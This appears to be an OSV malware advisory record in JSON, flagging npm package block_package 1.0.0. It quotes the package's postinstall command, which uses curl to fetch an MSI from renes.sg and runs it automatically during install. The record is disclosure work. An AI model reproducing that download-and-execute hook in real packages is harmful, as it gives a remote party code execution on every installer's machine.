{"id":"MAL-2026-12340","revision":"2ea51d6fd3f74e2fb3242d442ff31fd1","records":[{"revision":"2ea51d6fd3f74e2fb3242d442ff31fd1","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-12340","aliases":[],"title":"Malicious code in block_package (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (33601d937b847af20b85c4a784ec38ae18e1543cc64dbc1dcdaf65f09437cf51)\nscripts/postinstall.js runs automatically during `npm install` and uses execSync to invoke `curl -O http://renes.sg/npm_block_package.msi & start npm_block_package.msi`, fetching an MSI installer from a non-publisher host over unauthenticated plain HTTP and immediately launching it on the installer's machine. The fetch is unpinned, unverified (no hash or signature check), and delivered over a channel trivially subject to tampering. The MSI is executed as the installer user, giving whoever controls renes.sg (or any on-path attacker) arbitrary code execution on every machine that installs this package.\n","state":0,"publishedAt":"2026-08-05T12:33:52+00:00","modifiedAt":"2026-08-05T13:34:59.2300633+00:00","affected":[{"ecosystem":"npm","name":"block_package","ranges":[],"versions":["1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/block_package/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-12340","license":"OSV · upstream source license applies","key":"osv:MAL-2026-12340","identifiers":["MAL-2026-12340"]},"retained":false,"historicalAffected":[]}],"coverage":[]}